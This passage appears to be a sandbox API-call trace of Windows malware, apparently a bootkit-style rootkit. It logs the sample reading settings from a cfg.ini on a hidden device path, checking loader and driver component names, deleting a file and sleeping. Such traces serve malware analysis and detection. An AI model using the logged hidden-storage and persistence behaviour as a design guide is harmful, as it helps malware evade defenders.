PriorityBoost=0) [0124.523] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.523] KeEnterCriticalRegion () [0124.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.523] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003571000 [0124.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.523] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.523] IdePortDispatch () returned 0x103 [0124.523] KeWaitForMutexObject () returned 0x0 [0124.523] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.524] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.524] IdePortDispatch () returned 0x103 [0124.524] KeWaitForMutexObject () returned 0x0 [0124.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.524] KeLeaveCriticalRegion () [0124.524] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.524] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.524] KeEnterCriticalRegion () [0124.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.524] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.524] KeLeaveCriticalRegion () [0124.524] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.524] KeEnterCriticalRegion () [0124.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.524] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.524] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.524] KeLeaveCriticalRegion () [0124.524] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.525] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.525] KeEnterCriticalRegion () [0124.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.525] ExFreePoolWithTag (P=0xfffffa8003bf1440, Tag=0x0) [0124.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.525] KeLeaveCriticalRegion () [0124.525] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.525] ReleaseMutex (hMutex=0xf0) returned 1 [0124.525] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.525] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.525] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.525] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.525] KeEnterCriticalRegion () [0124.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.525] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.525] IdePortDispatch () returned 0x103 [0124.525] KeWaitForMutexObject () returned 0x0 [0124.525] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.525] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.525] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.525] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.525] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.525] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.525] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.525] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.525] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.525] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.525] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.525] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.525] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.525] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.525] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.525] KeLeaveCriticalRegion () [0124.525] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.526] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.526] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.526] KeEnterCriticalRegion () [0124.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.526] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.526] IdePortDispatch () returned 0x103 [0124.526] KeWaitForMutexObject () returned 0x0 [0124.526] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.526] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.526] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.526] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.526] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.526] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.526] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.526] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.526] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.526] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.526] KeLeaveCriticalRegion () [0124.526] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.526] ReleaseMutex (hMutex=0x100) returned 1 [0124.526] Sleep (dwMilliseconds=0x2bf20) [0124.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d6c9870, dwHighDateTime=0x1d24fa4)) [0124.533] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.533] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.533] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.533] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.533] KeEnterCriticalRegion () [0124.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.533] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.533] IdePortDispatch () returned 0x103 [0124.533] KeWaitForMutexObject () returned 0x0 [0124.533] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.533] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.533] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.533] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.533] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.533] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1eb0 [0124.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.533] KeLeaveCriticalRegion () [0124.533] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.533] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.533] KeEnterCriticalRegion () [0124.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.533] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.533] KeLeaveCriticalRegion () [0124.533] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.533] KeEnterCriticalRegion () [0124.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.534] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.534] IdePortDispatch () returned 0x103 [0124.534] KeWaitForMutexObject () returned 0x0 [0124.534] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.534] KeLeaveCriticalRegion () [0124.534] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.534] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.534] KeEnterCriticalRegion () [0124.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.534] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003574000 [0124.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.534] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.534] IdePortDispatch () returned 0x103 [0124.534] KeWaitForMutexObject () returned 0x0 [0124.534] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.534] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.534] IdePortDispatch () returned 0x103 [0124.535] KeWaitForMutexObject () returned 0x0 [0124.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.535] KeLeaveCriticalRegion () [0124.535] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.535] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.535] KeEnterCriticalRegion () [0124.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.535] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.535] KeLeaveCriticalRegion () [0124.535] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.535] KeEnterCriticalRegion () [0124.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.535] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.535] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.535] KeLeaveCriticalRegion () [0124.535] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.535] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.535] KeEnterCriticalRegion () [0124.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.535] ExFreePoolWithTag (P=0xfffffa8003bf1eb0, Tag=0x0) [0124.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.535] KeLeaveCriticalRegion () [0124.535] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.536] ReleaseMutex (hMutex=0xf0) returned 1 [0124.536] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.536] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.536] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.536] KeEnterCriticalRegion () [0124.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.536] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.536] IdePortDispatch () returned 0x103 [0124.536] KeWaitForMutexObject () returned 0x0 [0124.536] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.536] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.536] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.536] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.536] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.536] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1440 [0124.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.536] KeLeaveCriticalRegion () [0124.536] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.536] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.536] KeEnterCriticalRegion () [0124.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.536] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.536] KeLeaveCriticalRegion () [0124.536] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.536] KeEnterCriticalRegion () [0124.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.536] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.536] IdePortDispatch () returned 0x103 [0124.537] KeWaitForMutexObject () returned 0x0 [0124.537] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.537] KeLeaveCriticalRegion () [0124.537] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.537] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.537] KeEnterCriticalRegion () [0124.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.537] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003575000 [0124.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.537] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.537] IdePortDispatch () returned 0x103 [0124.537] KeWaitForMutexObject () returned 0x0 [0124.537] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.537] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.537] IdePortDispatch () returned 0x103 [0124.537] KeWaitForMutexObject () returned 0x0 [0124.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.538] KeLeaveCriticalRegion () [0124.538] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.538] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.538] KeEnterCriticalRegion () [0124.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.538] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.538] KeLeaveCriticalRegion () [0124.538] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.538] KeEnterCriticalRegion () [0124.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.538] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.538] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.538] KeLeaveCriticalRegion () [0124.538] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.538] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.538] KeEnterCriticalRegion () [0124.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.538] ExFreePoolWithTag (P=0xfffffa8003bf1440, Tag=0x0) [0124.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.538] KeLeaveCriticalRegion () [0124.538] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.538] ReleaseMutex (hMutex=0xf0) returned 1 [0124.538] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.538] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.538] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.539] KeEnterCriticalRegion () [0124.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 